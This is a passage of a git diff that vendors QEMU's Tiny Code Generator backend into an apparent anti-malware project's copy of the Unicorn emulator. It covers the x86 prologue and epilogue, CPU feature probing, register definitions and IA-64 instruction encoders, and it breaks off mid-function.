ARRAY_SIZE(tcg_target_callee_save_regs)) \ + * (TCG_TARGET_REG_BITS / 8)) + +#define FRAME_SIZE \ + ((PUSH_SIZE \ + + TCG_STATIC_CALL_ARGS_SIZE \ + + CPU_TEMP_BUF_NLONGS * sizeof(long) \ + + TCG_TARGET_STACK_ALIGN - 1) \ + & ~(TCG_TARGET_STACK_ALIGN - 1)) + +/* Generate global QEMU prologue and epilogue code */ +static void tcg_target_qemu_prologue(TCGContext *s) +{ + int i, stack_addend; + + /* TB prologue */ + + /* Reserve some stack space, also for TCG temps. */ + stack_addend = FRAME_SIZE - PUSH_SIZE; + tcg_set_frame(s, TCG_REG_CALL_STACK, TCG_STATIC_CALL_ARGS_SIZE, + CPU_TEMP_BUF_NLONGS * sizeof(long)); + + /* Save all callee saved registers. */ + for (i = 0; i < ARRAY_SIZE(tcg_target_callee_save_regs); i++) { + tcg_out_push(s, tcg_target_callee_save_regs[i]); + } + +#if TCG_TARGET_REG_BITS == 32 + tcg_out_ld(s, TCG_TYPE_PTR, TCG_AREG0, TCG_REG_ESP, + (ARRAY_SIZE(tcg_target_callee_save_regs) + 1) * 4); + tcg_out_addi(s, TCG_REG_ESP, -stack_addend); + /* jmp *tb. */ + tcg_out_modrm_offset(s, OPC_GRP5, EXT5_JMPN_Ev, TCG_REG_ESP, + (ARRAY_SIZE(tcg_target_callee_save_regs) + 2) * 4 + + stack_addend); +#else + tcg_out_mov(s, TCG_TYPE_PTR, TCG_AREG0, tcg_target_call_iarg_regs[0]); + tcg_out_addi(s, TCG_REG_ESP, -stack_addend); + /* jmp *tb. */ + tcg_out_modrm(s, OPC_GRP5, EXT5_JMPN_Ev, tcg_target_call_iarg_regs[1]); +#endif + + /* TB epilogue */ + s->tb_ret_addr = s->code_ptr; + + tcg_out_addi(s, TCG_REG_CALL_STACK, stack_addend); + + for (i = ARRAY_SIZE(tcg_target_callee_save_regs) - 1; i >= 0; i--) { + tcg_out_pop(s, tcg_target_callee_save_regs[i]); + } + tcg_out_opc(s, OPC_RET, 0, 0, 0); + +#if !defined(CONFIG_SOFTMMU) + /* Try to set up a segment register to point to GUEST_BASE. */ + if (GUEST_BASE) { + setup_guest_base_seg(s); + } +#endif +} + +static void tcg_target_init(TCGContext *s) +{ +#ifdef CONFIG_CPUID_H + unsigned a, b, c, d; + int max; + +#ifdef _MSC_VER + int cpu_info[4]; + __cpuid(cpu_info, 0); + max = cpu_info[0]; +#else + max = __get_cpuid_max(0, 0); +#endif + + if (max >= 1) { +#ifdef _MSC_VER + __cpuid(cpu_info, 1); + a = cpu_info[0]; + b = cpu_info[1]; + c = cpu_info[2]; + d = cpu_info[3]; +#else + __cpuid(1, a, b, c, d); +#endif +#ifndef have_cmov + /* For 32-bit, 99% certainty that we're running on hardware that + supports cmov, but we still need to check. In case cmov is not + available, we'll use a small forward branch. */ + have_cmov = (d & bit_CMOV) != 0; +#endif +#ifndef have_movbe + /* MOVBE is only available on Intel Atom and Haswell CPUs, so we + need to probe for it. */ + s->have_movbe = (c & bit_MOVBE) != 0; +#endif + } + + if (max >= 7) { + /* BMI1 is available on AMD Piledriver and Intel Haswell CPUs. */ +#ifdef _MSC_VER + __cpuidex(cpu_info, 7, 0); +#else + __cpuid_count(7, 0, a, b, c, d); +#endif +#ifdef bit_BMI + have_bmi1 = (b & bit_BMI) != 0; +#endif +#ifndef have_bmi2 + have_bmi2 = (b & bit_BMI2) != 0; +#endif + } +#endif + + if (TCG_TARGET_REG_BITS == 64) { + tcg_regset_set32(s->tcg_target_available_regs[TCG_TYPE_I32], 0, 0xffff); + tcg_regset_set32(s->tcg_target_available_regs[TCG_TYPE_I64], 0, 0xffff); + } else { + tcg_regset_set32(s->tcg_target_available_regs[TCG_TYPE_I32], 0, 0xff); + } + + tcg_regset_clear(s->tcg_target_call_clobber_regs); + tcg_regset_set_reg(s->tcg_target_call_clobber_regs, TCG_REG_EAX); + tcg_regset_set_reg(s->tcg_target_call_clobber_regs, TCG_REG_EDX); + tcg_regset_set_reg(s->tcg_target_call_clobber_regs, TCG_REG_ECX); + if (TCG_TARGET_REG_BITS == 64) { +#if !(defined(_WIN64) || defined(__CYGWIN__)) + tcg_regset_set_reg(s->tcg_target_call_clobber_regs, TCG_REG_RDI); + tcg_regset_set_reg(s->tcg_target_call_clobber_regs, TCG_REG_RSI); +#endif + tcg_regset_set_reg(s->tcg_target_call_clobber_regs, TCG_REG_R8); + tcg_regset_set_reg(s->tcg_target_call_clobber_regs, TCG_REG_R9); + tcg_regset_set_reg(s->tcg_target_call_clobber_regs, TCG_REG_R10); + tcg_regset_set_reg(s->tcg_target_call_clobber_regs, TCG_REG_R11); + } + + tcg_regset_clear(s->reserved_regs); + tcg_regset_set_reg(s->reserved_regs, TCG_REG_CALL_STACK); + + tcg_add_target_add_op_defs(s, x86_op_defs); +} diff --git a/ai_anti_malware/unicorn/unicorn-master/qemu/tcg/i386/tcg-target.h b/ai_anti_malware/unicorn/unicorn-master/qemu/tcg/i386/tcg-target.h new file mode 100644 index 0000000..fdea43b --- /dev/null +++ b/ai_anti_malware/unicorn/unicorn-master/qemu/tcg/i386/tcg-target.h @@ -0,0 +1,148 @@ +/* + * Tiny Code Generator for QEMU + * + * Copyright (c) 2008 Fabrice Bellard + * + * Permission is hereby granted, free of charge, to any person obtaining a copy + * of this software and associated documentation files (the "Software"), to deal + * in the Software without restriction, including without limitation the rights + * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell + * copies of the Software, and to permit persons to whom the Software is + * furnished to do so, subject to the following conditions: + * + * The above copyright notice and this permission notice shall be included in + * all copies or substantial portions of the Software. + * + * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR + * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, + * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL + * THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER + * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, + * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN + * THE SOFTWARE. + */ +#ifndef TCG_TARGET_I386 +#define TCG_TARGET_I386 1 + +#define TCG_TARGET_INSN_UNIT_SIZE 1 + +#ifdef __x86_64__ +# define TCG_TARGET_REG_BITS 64 +# define TCG_TARGET_NB_REGS 16 +#else +# define TCG_TARGET_REG_BITS 32 +# define TCG_TARGET_NB_REGS 8 +#endif + +typedef enum { + TCG_REG_EAX = 0, + TCG_REG_ECX, + TCG_REG_EDX, + TCG_REG_EBX, + TCG_REG_ESP, + TCG_REG_EBP, + TCG_REG_ESI, + TCG_REG_EDI, + + /* 64-bit registers; always define the symbols to avoid + too much if-deffing. */ + TCG_REG_R8, + TCG_REG_R9, + TCG_REG_R10, + TCG_REG_R11, + TCG_REG_R12, + TCG_REG_R13, + TCG_REG_R14, + TCG_REG_R15, + TCG_REG_RAX = TCG_REG_EAX, + TCG_REG_RCX = TCG_REG_ECX, + TCG_REG_RDX = TCG_REG_EDX, + TCG_REG_RBX = TCG_REG_EBX, + TCG_REG_RSP = TCG_REG_ESP, + TCG_REG_RBP = TCG_REG_EBP, + TCG_REG_RSI = TCG_REG_ESI, + TCG_REG_RDI = TCG_REG_EDI, +} TCGReg; + +/* used for function call generation */ +#define TCG_REG_CALL_STACK TCG_REG_ESP +#define TCG_TARGET_STACK_ALIGN 16 +#if defined(_WIN64) || (defined(__CYGWIN__) && defined(__x86_64__)) +#define TCG_TARGET_CALL_STACK_OFFSET 32 +#else +#define TCG_TARGET_CALL_STACK_OFFSET 0 +#endif + +extern bool have_bmi1; + +/* optional instructions */ +#define TCG_TARGET_HAS_div2_i32 1 +#define TCG_TARGET_HAS_rot_i32 1 +#define TCG_TARGET_HAS_ext8s_i32 1 +#define TCG_TARGET_HAS_ext16s_i32 1 +#define TCG_TARGET_HAS_ext8u_i32 1 +#define TCG_TARGET_HAS_ext16u_i32 1 +#define TCG_TARGET_HAS_bswap16_i32 1 +#define TCG_TARGET_HAS_bswap32_i32 1 +#define TCG_TARGET_HAS_neg_i32 1 +#define TCG_TARGET_HAS_not_i32 1 +#define TCG_TARGET_HAS_andc_i32 have_bmi1 +#define TCG_TARGET_HAS_orc_i32 0 +#define TCG_TARGET_HAS_eqv_i32 0 +#define TCG_TARGET_HAS_nand_i32 0 +#define TCG_TARGET_HAS_nor_i32 0 +#define TCG_TARGET_HAS_deposit_i32 1 +#define TCG_TARGET_HAS_movcond_i32 1 +#define TCG_TARGET_HAS_add2_i32 1 +#define TCG_TARGET_HAS_sub2_i32 1 +#define TCG_TARGET_HAS_mulu2_i32 1 +#define TCG_TARGET_HAS_muls2_i32 1 +#define TCG_TARGET_HAS_muluh_i32 0 +#define TCG_TARGET_HAS_mulsh_i32 0 + +#if TCG_TARGET_REG_BITS == 64 +#define TCG_TARGET_HAS_trunc_shr_i32 0 +#define TCG_TARGET_HAS_div2_i64 1 +#define TCG_TARGET_HAS_rot_i64 1 +#define TCG_TARGET_HAS_ext8s_i64 1 +#define TCG_TARGET_HAS_ext16s_i64 1 +#define TCG_TARGET_HAS_ext32s_i64 1 +#define TCG_TARGET_HAS_ext8u_i64 1 +#define TCG_TARGET_HAS_ext16u_i64 1 +#define TCG_TARGET_HAS_ext32u_i64 1 +#define TCG_TARGET_HAS_bswap16_i64 1 +#define TCG_TARGET_HAS_bswap32_i64 1 +#define TCG_TARGET_HAS_bswap64_i64 1 +#define TCG_TARGET_HAS_neg_i64 1 +#define TCG_TARGET_HAS_not_i64 1 +#define TCG_TARGET_HAS_andc_i64 have_bmi1 +#define TCG_TARGET_HAS_orc_i64 0 +#define TCG_TARGET_HAS_eqv_i64 0 +#define TCG_TARGET_HAS_nand_i64 0 +#define TCG_TARGET_HAS_nor_i64 0 +#define TCG_TARGET_HAS_deposit_i64 1 +#define TCG_TARGET_HAS_movcond_i64 1 +#define TCG_TARGET_HAS_add2_i64 1 +#define TCG_TARGET_HAS_sub2_i64 1 +#define TCG_TARGET_HAS_mulu2_i64 1 +#define TCG_TARGET_HAS_muls2_i64 1 +#define TCG_TARGET_HAS_muluh_i64 0 +#define TCG_TARGET_HAS_mulsh_i64 0 +#endif + +#define TCG_TARGET_deposit_i32_valid(ofs, len) \ + (((ofs) == 0 && (len) == 8) || ((ofs) == 8 && (len) == 8) || \ + ((ofs) == 0 && (len) == 16)) +#define TCG_TARGET_deposit_i64_valid TCG_TARGET_deposit_i32_valid + +#if TCG_TARGET_REG_BITS == 64 +# define TCG_AREG0 TCG_REG_R14 +#else +# define TCG_AREG0 TCG_REG_EBP +#endif + +static inline void flush_icache_range(uintptr_t start, uintptr_t stop) +{ +} + +#endif diff --git a/ai_anti_malware/unicorn/unicorn-master/qemu/tcg/ia64/tcg-target.c b/ai_anti_malware/unicorn/unicorn-master/qemu/tcg/ia64/tcg-target.c new file mode 100644 index 0000000..a7a681c --- /dev/null +++ b/ai_anti_malware/unicorn/unicorn-master/qemu/tcg/ia64/tcg-target.c @@ -0,0 +1,2446 @@ +/* + * Tiny Code Generator for QEMU + * + * Copyright (c) 2009-2010 Aurelien Jarno + * Based on i386/tcg-target.c - Copyright (c) 2008 Fabrice Bellard + * + * Permission is hereby granted, free of charge, to any person obtaining a copy + * of this software and associated documentation files (the "Software"), to deal + * in the Software without restriction, including without limitation the rights + * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell + * copies of the Software, and to permit persons to whom the Software is + * furnished to do so, subject to the following conditions: + * + * The above copyright notice and this permission notice shall be included in + * all copies or substantial portions of the Software. + * + * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR + * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, + * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL + * THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER + * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, + * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN + * THE SOFTWARE. + */ + +/* + * Register definitions + */ + +#ifndef NDEBUG +static const char * const tcg_target_reg_names[TCG_TARGET_NB_REGS] = { + "r0", "r1", "r2", "r3", "r4", "r5", "r6", "r7", + "r8", "r9", "r10", "r11", "r12", "r13", "r14", "r15", + "r16", "r17", "r18", "r19", "r20", "r21", "r22", "r23", + "r24", "r25", "r26", "r27", "r28", "r29", "r30", "r31", + "r32", "r33", "r34", "r35", "r36", "r37", "r38", "r39", + "r40", "r41", "r42", "r43", "r44", "r45", "r46", "r47", + "r48", "r49", "r50", "r51", "r52", "r53", "r54", "r55", + "r56", "r57", "r58", "r59", "r60", "r61", "r62", "r63", +}; +#endif + +#ifdef CONFIG_USE_GUEST_BASE +#define TCG_GUEST_BASE_REG TCG_REG_R55 +#else +#define TCG_GUEST_BASE_REG TCG_REG_R0 +#endif +#ifndef GUEST_BASE +#define GUEST_BASE 0 +#endif + +/* Branch registers */ +enum { + TCG_REG_B0 = 0, + TCG_REG_B1, + TCG_REG_B2, + TCG_REG_B3, + TCG_REG_B4, + TCG_REG_B5, + TCG_REG_B6, + TCG_REG_B7, +}; + +/* Floating point registers */ +enum { + TCG_REG_F0 = 0, + TCG_REG_F1, + TCG_REG_F2, + TCG_REG_F3, + TCG_REG_F4, + TCG_REG_F5, + TCG_REG_F6, + TCG_REG_F7, + TCG_REG_F8, + TCG_REG_F9, + TCG_REG_F10, + TCG_REG_F11, + TCG_REG_F12, + TCG_REG_F13, + TCG_REG_F14, + TCG_REG_F15, +}; + +/* Predicate registers */ +enum { + TCG_REG_P0 = 0, + TCG_REG_P1, + TCG_REG_P2, + TCG_REG_P3, + TCG_REG_P4, + TCG_REG_P5, + TCG_REG_P6, + TCG_REG_P7, + TCG_REG_P8, + TCG_REG_P9, + TCG_REG_P10, + TCG_REG_P11, + TCG_REG_P12, + TCG_REG_P13, + TCG_REG_P14, + TCG_REG_P15, +}; + +/* Application registers */ +enum { + TCG_REG_PFS = 64, +}; + +static const int tcg_target_reg_alloc_order[] = { + TCG_REG_R35, + TCG_REG_R36, + TCG_REG_R37, + TCG_REG_R38, + TCG_REG_R39, + TCG_REG_R40, + TCG_REG_R41, + TCG_REG_R42, + TCG_REG_R43, + TCG_REG_R44, + TCG_REG_R45, + TCG_REG_R46, + TCG_REG_R47, + TCG_REG_R48, + TCG_REG_R49, + TCG_REG_R50, + TCG_REG_R51, + TCG_REG_R52, + TCG_REG_R53, + TCG_REG_R54, + TCG_REG_R55, + TCG_REG_R14, + TCG_REG_R15, + TCG_REG_R16, + TCG_REG_R17, + TCG_REG_R18, + TCG_REG_R19, + TCG_REG_R20, + TCG_REG_R21, + TCG_REG_R22, + TCG_REG_R23, + TCG_REG_R24, + TCG_REG_R25, + TCG_REG_R26, + TCG_REG_R27, + TCG_REG_R28, + TCG_REG_R29, + TCG_REG_R30, + TCG_REG_R31, + TCG_REG_R56, + TCG_REG_R57, + TCG_REG_R58, + TCG_REG_R59, + TCG_REG_R60, + TCG_REG_R61, + TCG_REG_R62, + TCG_REG_R63, + TCG_REG_R8, + TCG_REG_R9, + TCG_REG_R10, + TCG_REG_R11 +}; + +static const int tcg_target_call_iarg_regs[8] = { + TCG_REG_R56, + TCG_REG_R57, + TCG_REG_R58, + TCG_REG_R59, + TCG_REG_R60, + TCG_REG_R61, + TCG_REG_R62, + TCG_REG_R63, +}; + +static const int tcg_target_call_oarg_regs[] = { + TCG_REG_R8 +}; + +/* + * opcode formation + */ + +/* bundle templates: stops (double bar in the IA64 manual) are marked with + an uppercase letter. */ +enum { + mii = 0x00, + miI = 0x01, + mIi = 0x02, + mII = 0x03, + mlx = 0x04, + mLX = 0x05, + mmi = 0x08, + mmI = 0x09, + Mmi = 0x0a, + MmI = 0x0b, + mfi = 0x0c, + mfI = 0x0d, + mmf = 0x0e, + mmF = 0x0f, + mib = 0x10, + miB = 0x11, + mbb = 0x12, + mbB = 0x13, + bbb = 0x16, + bbB = 0x17, + mmb = 0x18, + mmB = 0x19, + mfb = 0x1c, + mfB = 0x1d, +}; + +enum { + OPC_ADD_A1 = 0x10000000000ull, + OPC_AND_A1 = 0x10060000000ull, + OPC_AND_A3 = 0x10160000000ull, + OPC_ANDCM_A1 = 0x10068000000ull, + OPC_ANDCM_A3 = 0x10168000000ull, + OPC_ADDS_A4 = 0x10800000000ull, + OPC_ADDL_A5 = 0x12000000000ull, + OPC_ALLOC_M34 = 0x02c00000000ull, + OPC_BR_DPTK_FEW_B1 = 0x08400000000ull, + OPC_BR_SPTK_MANY_B1 = 0x08000001000ull, + OPC_BR_CALL_SPNT_FEW_B3 = 0x0a200000000ull, + OPC_BR_SPTK_MANY_B4 = 0x00100001000ull, + OPC_BR_CALL_SPTK_MANY_B5 = 0x02100001000ull, + OPC_BR_RET_SPTK_MANY_B4 = 0x00108001100ull, + OPC_BRL_SPTK_MANY_X3 = 0x18000001000ull, + OPC_BRL_CALL_SPNT_MANY_X4 = 0x1a200001000ull, + OPC_BRL_CALL_SPTK_MANY_X4 = 0x1a000001000ull, + OPC_CMP_LT_A6 = 0x18000000000ull, + OPC_CMP_LTU_A6 = 0x1a000000000ull, + OPC_CMP_EQ_A6 = 0x1c000000000ull, + OPC_CMP4_LT_A6 = 0x18400000000ull, + OPC_CMP4_LTU_A6 = 0x1a400000000ull, + OPC_CMP4_EQ_A6 = 0x1c400000000ull, + OPC_DEP_I14 = 0x0ae00000000ull, + OPC_DEP_I15 = 0x08000000000ull, + OPC_DEP_Z_I12 = 0x0a600000000ull, + OPC_EXTR_I11 = 0x0a400002000ull, + OPC_EXTR_U_I11 = 0x0a400000000ull, + OPC_FCVT_FX_TRUNC_S1_F10 = 0x004d0000000ull, + OPC_FCVT_FXU_TRUNC_S1_F10 = 0x004d8000000ull, + OPC_FCVT_XF_F11 = 0x000e0000000ull, + OPC_FMA_S1_F1 = 0x10400000000ull, + OPC_FNMA_S1_F1 = 0x18400000000ull, + OPC_FRCPA_S1_F6 = 0x00600000000ull, + OPC_GETF_SIG_M19 = 0x08708000000ull, + OPC_LD1_M1 = 0x08000000000ull, + OPC_LD1_M3 = 0x0a000000000ull, + OPC_LD2_M1 = 0x08040000000ull, + OPC_LD2_M3 = 0x0a040000000ull, + OPC_LD4_M1 = 0x08080000000ull, + OPC_LD4_M3 = 0x0a080000000ull, + OPC_LD8_M1 = 0x080c0000000ull, + OPC_LD8_M3 = 0x0a0c0000000ull, + OPC_MUX1_I3 = 0x0eca0000000ull, + OPC_NOP_B9 = 0x04008000000ull, + OPC_NOP_F16 = 0x00008000000ull, + OPC_NOP_I18 = 0x00008000000ull, + OPC_NOP_M48 = 0x00008000000ull, + OPC_MOV_I21 = 0x00e00100000ull, + OPC_MOV_RET_I21 = 0x00e00500000ull, + OPC_MOV_I22 = 0x00188000000ull, + OPC_MOV_I_I26 = 0x00150000000ull, + OPC_MOVL_X2 = 0x0c000000000ull, + OPC_OR_A1 = 0x10070000000ull, + OPC_OR_A3 = 0x10170000000ull, + OPC_SETF_EXP_M18 = 0x0c748000000ull, + OPC_SETF_SIG_M18 = 0x0c708000000ull, + OPC_SHL_I7 = 0x0f240000000ull, + OPC_SHR_I5 = 0x0f220000000ull, + OPC_SHR_U_I5 = 0x0f200000000ull, + OPC_SHRP_I10 = 0x0ac00000000ull, + OPC_SXT1_I29 = 0x000a0000000ull, + OPC_SXT2_I29 = 0x000a8000000ull, + OPC_SXT4_I29 = 0x000b0000000ull, + OPC_ST1_M4 = 0x08c00000000ull, + OPC_ST2_M4 = 0x08c40000000ull, + OPC_ST4_M4 = 0x08c80000000ull, + OPC_ST8_M4 = 0x08cc0000000ull, + OPC_SUB_A1 = 0x10028000000ull, + OPC_SUB_A3 = 0x10128000000ull, + OPC_UNPACK4_L_I2 = 0x0f860000000ull, + OPC_XMA_L_F2 = 0x1d000000000ull, + OPC_XOR_A1 = 0x10078000000ull, + OPC_XOR_A3 = 0x10178000000ull, + OPC_ZXT1_I29 = 0x00080000000ull, + OPC_ZXT2_I29 = 0x00088000000ull, + OPC_ZXT4_I29 = 0x00090000000ull, + + INSN_NOP_M = OPC_NOP_M48, /* nop.m 0 */ + INSN_NOP_I = OPC_NOP_I18, /* nop.i 0 */ +}; + +static inline uint64_t tcg_opc_a1(int qp, uint64_t opc, int r1, + int r2, int r3) +{ + return opc + | ((r3 & 0x7f) << 20) + | ((r2 & 0x7f) << 13) + | ((r1 & 0x7f) << 6) + | (qp & 0x3f); +} + +static inline uint64_t tcg_opc_a3(int qp, uint64_t opc, int r1, + uint64_t imm, int r3) +{ + return opc + | ((imm & 0x80) << 29) /* s */ + | ((imm & 0x7f) << 13) /* imm7b */ + | ((r3 & 0x7f) << 20) + | ((r1 & 0x7f) << 6) + | (qp & 0x3f); +} + +static inline uint64_t tcg_opc_a4(int qp, uint64_t opc, int r1, + uint64_t imm, int r3) +{ + return opc + | ((imm & 0x2000) << 23) /* s */ + | ((imm & 0x1f80) << 20) /* imm6d */ + | ((imm & 0x007f) << 13) /* imm7b */ + | ((r3 & 0x7f) << 20) + | ((r1 & 0x7f) << 6) + | (qp & 0x3f); +} + +static inline uint64_t tcg_opc_a5(int qp, uint64_t opc, int r1, + uint64_t imm, int r3) +{ + return opc + | ((imm & 0x200000) << 15) /* s */ + | ((imm & 0x1f0000) << 6) /* imm5c */ + | ((imm & 0x00ff80) << 20) /* imm9d */ + | ((imm & 0x00007f) << 13) /* imm7b */ + | ((r3 & 0x03) << 20) + | ((r1 & 0x7f) << 6) + | (qp & 0x3f); +} + +static inline uint64_t tcg_opc_a6(int qp, uint64_t opc, int p1, + int p2, int r2, int r3) +{ + return opc + | ((p2 & 0x3f) << 27) + | ((r3 & 0x7f) << 20) + | ((r2 & 0x7f) << 13) + | ((p1 & 0x3f) << 6) + | (qp & 0x3f); +} + +static inline uint64_t tcg_opc_b1(int qp, uint64_t opc, uint64_t imm) +{ + return opc + | ((imm & 0x100000) << 16) /* s */ + | ((imm & 0x0fffff) << 13) /* imm20b */ + | (qp & 0x3f); +} + +static inline uint64_t tcg_opc_b3(int qp, uint64_t opc, int b1, uint64_t imm) +{ + return opc + | ((imm & 0x100000) << 16) /* s */ + | ((imm & 0x0fffff) << 13) /* imm20b */ + | ((b1 & 0x7) << 6) + | (qp & 0x3f); +} + +static inline uint64_t tcg_opc_b4(int qp, uint64_t opc, int b2) +{ + return opc + | ((b2 & 0x7) << 13) + | (qp & 0x3f); +} + +static inline uint64_t tcg_opc_b5(int qp, uint64_t opc, int b1, int b2) +{ + return opc + | ((b2 & 0x7) << 13) + | ((b1 & 0x7) << 6) + | (qp & 0x3f); +} + + +static inline uint64_t tcg_opc_b9(int qp, uint64_t opc, uint64_t imm) +{ + return opc + | ((imm & 0x100000) << 16) /* i */ + | ((imm & 0x0fffff) << 6) /* imm20a */ + | (qp & 0x3f); +} + +static inline uint64_t tcg_opc_f1(int qp, uint64_t opc, int f1, + int f3, int f4, int f2) +{ + return opc + | ((f4 & 0x7f) << 27) + | ((f3 & 0x7f) << 20) + | ((f2 & 0x7f) << 13) + | ((f1 & 0x7f) << 6) + | (qp & 0x3f); +} + +static inline uint64_t tcg_opc_f2(int qp, uint64_t opc, int f1, + int f3, int f4, int f2) +{ + return opc + | ((f4 & 0x7f) << 27) + | ((f3 & 0x7f) << 20) + | ((f2 & 0x7f) << 13) + | ((f1 & 0x7f) << 6) + | (qp & 0x3f); +} + +static inline uint64_t tcg_opc_f6(int qp, uint64_t opc, int f1, + int p2, int f2, int f3) +{ + return opc + | ((p2 & 0x3f) << 27) + | ((f3 & 0x7f) << 20) + | ((f2 & 0x7f) << 13) + | ((f1 & 0x7f) << 6) + | (qp & 0x3f); +} + +static inline uint64_t tcg_opc_f10(int qp, uint64_t opc, int f1, int f2) +{ + return opc + | ((f2 & 0x7f) << 13) + | ((f1 & 0x7f) << 6) + | (qp & 0x3f); +} + +static inline uint64_t tcg_opc_f11(int qp, uint64_t opc, int f1, int f2) +{ + return opc + | ((f2 & 0x7f) << 13) + | ((f1 & 0x7f) << 6) + | (qp & 0x3f); +} + +static inline uint64_t tcg_opc_f16(int qp, uint64_t opc, uint64_t imm) +{ + return opc + | ((imm & 0x100000) << 16) /* i */ + | ((imm & 0x0fffff) << 6) /* imm20a */ + | (qp & 0x3f); +} + +static inline uint64_t tcg_opc_i2(int qp, uint64_t opc, int r1, + int r2, int r3) +{ + return opc + | ((r3 & 0x7f) << 20) + | ((r2 & 0x7f) << 13) + | ((r1 & 0x7f) << 6) + | (qp & 0x3f); +} + +static inline uint64_t tcg_opc_i3(int qp, uint64_t opc, int r1, + int r2, int mbtype) +{ + return opc + | ((mbtype & 0x0f) << 20) + | ((r2 & 0x7f) << 13) + | ((r1 & 0x7f) << 6) + | (qp & 0x3f); +} + +static inline uint64_t tcg_opc_i5(int qp, uint64_t opc, int r1, + int r3, int r2) +{ + return opc + | ((r3 & 0x7f) << 20) + | ((r2 & 0x7f) << 13) + | ((r1 & 0x7f) << 6) + | (qp & 0x3f); +} + +static inline uint64_t tcg_opc_i7(int qp, uint64_t opc, int r1, + int r2, int r3) +{ + return opc + | ((r3 & 0x7f) << 20) + | ((r2 & 0x7f) << 13) + | ((r1 & 0x7f) << 6) + | (qp & 0x3f); +} + +static inline uint64_t tcg_opc_i10(int qp, uint64_t opc, int r1, + int r2, int r3, uint64_t count) +{ + return opc + | ((count & 0x3f) << 27) + | ((r3 & 0x7f) << 20) + | ((r2 & 0x7f) << 13) + | ((r1 & 0x7f) << 6) + | (qp & 0x3f); +} + +static inline uint64_t tcg_opc_i11(int qp, uint64_t opc, int r1, + int r3, uint64_t pos, uint64_t len) +{ + return opc + | ((len & 0x3f) << 27) + | ((r3 & 0x7f) << 20) + | ((pos & 0x3f) << 14) + | ((r1 & 0x7f) << 6) + | (qp & 0x3f); +} + +static inline uint64_t tcg_opc_i12(int qp, uint64_t opc, int r1, + int r2, uint64_t pos, uint64_t len) +{ + return opc + | ((len & 0x3f) << 27) + | ((pos & 0x3f) << 20) + | ((r2 & 0x7f) << 13) + | ((r1 & 0x7f) << 6) + | (qp & 0x3f); +} + +static inline uint64_t tcg_opc_i14(int qp, uint64_t opc, int r1, uint64_t imm, + int r3, uint64_t pos, uint64_t len) +{ + return opc + | ((imm & 0x01) << 36) + | ((len & 0x3f) << 27) + | ((r3 & 0x7f) << 20) + | ((pos & 0x3f) << 14) + | ((r1 & 0x7f) << 6) + | (qp & 0x3f); +} + +static inline uint64_t tcg_opc_i15(int qp, uint64_t opc, int r1, int r2, + int r3, uint64_t pos, uint64_t len) +{ + return opc + | ((pos & 0x3f) << 31) + | ((len & 0x0f) << 27) + | ((r3 & 0x7f) << 20) + | ((r2 & 0x7f) << 13) + | ((r1 & 0x7f) << 6) + | (qp & 0x3f); +} + +static inline uint64_t tcg_opc_i18(int qp, uint64_t opc, uint64_t imm) +{ + return opc + | ((imm & 0x100000) << 16) /* i */ + | ((imm & 0x0fffff) << 6) /* imm20a */ + | (qp & 0x3f); +} + +static inline uint64_t tcg_opc_i21(int qp, uint64_t opc, int b1, + int r2, uint64_t imm) +{ + return opc + | ((imm & 0x1ff) << 24) + | ((r2 & 0x7f) << 13) + | ((b1 & 0x7) << 6) + | (qp & 0x3f); +} + +static inline uint64_t tcg_opc_i22(int qp, uint64_t opc, int r1, int b2) +{ + return opc + | ((b2 & 0x7) << 13) + | ((r1 & 0x7f) << 6) + | (qp & 0x3f); +} + +static inline uint64_t tcg_opc_i26(int qp, uint64_t opc, int ar3, int r2) +{ + return opc + | ((ar3 & 0x7f) << 20) + | ((r2 & 0x7f) << 13) + | (qp & 0x3f); +} + +static inline uint64_t tcg_opc_i29(int qp, uint64_t opc, int r1, int r3) +{ + return opc + | ((r3 & 0x7f) << 20) + | ((r1 & 0x7f) << 6) + | (qp & 0x3f); +} + +static inline uint64_t tcg_opc_l2(uint64_t imm) +{ + return (imm & 0x7fffffffffc00000ull) >> 22; +} + +static inline uint64_t tcg_opc_l3(uint64_t imm) +{ + return (imm & 0x07fffffffff00000ull) >> 18; +} + +#define tcg_opc_l4 tcg_opc_l3 + +static inline uint64_t tcg_opc_m1(int qp, uint64_t opc, int r1, int r3) +{ + return opc + | ((r3 & 0x7f) << 20) + | ((r1 & 0x7f) << 6) + | (qp & 0x3f); +} + +static inline uint64_t tcg_opc_m3(int qp, uint64_t opc, int r1, + int r3, uint64_t imm) +{ + return opc + | ((imm & 0x100) << 28) /* s */ + | ((imm & 0x080) << 20) /* i */ + | ((imm & 0x07f) << 13) /* imm7b */ + | ((r3 & 0x7f) << 20) + | ((r1 & 0x7f) << 6) + | (qp & 0x3f); +} + +static inline uint64_t tcg_opc_m4(int qp, uint64_t opc, int r2, int r3) +{ + return opc + | ((r3 & 0x7f) << 20) + | ((r2 & 0x7f) << 13) + | (qp & 0x3f); +} + +static inline uint64_t tcg_opc_m18(int qp, uint64_t opc, int f1, int r2) +{ + return opc + | ((r2 & 0x7f) << 13) + | ((f1 & 0x7f) << 6) + | (qp & 0x3f); +} + +static inline uint64_t tcg_opc_m19(int qp, uint64_t opc, int r1, int f2) +{ + return opc + | ((f2 & 0x7f) << 13) + | ((r1 & 0x7f) << 6) + | (qp & 0x3f); +} + +static inline uint64_t tcg_opc_m34(int qp, uint64_t opc, int r1, + int sof, int sol, int sor) +{ + return opc + | ((sor & 0x0f) << 27) + | ((sol & 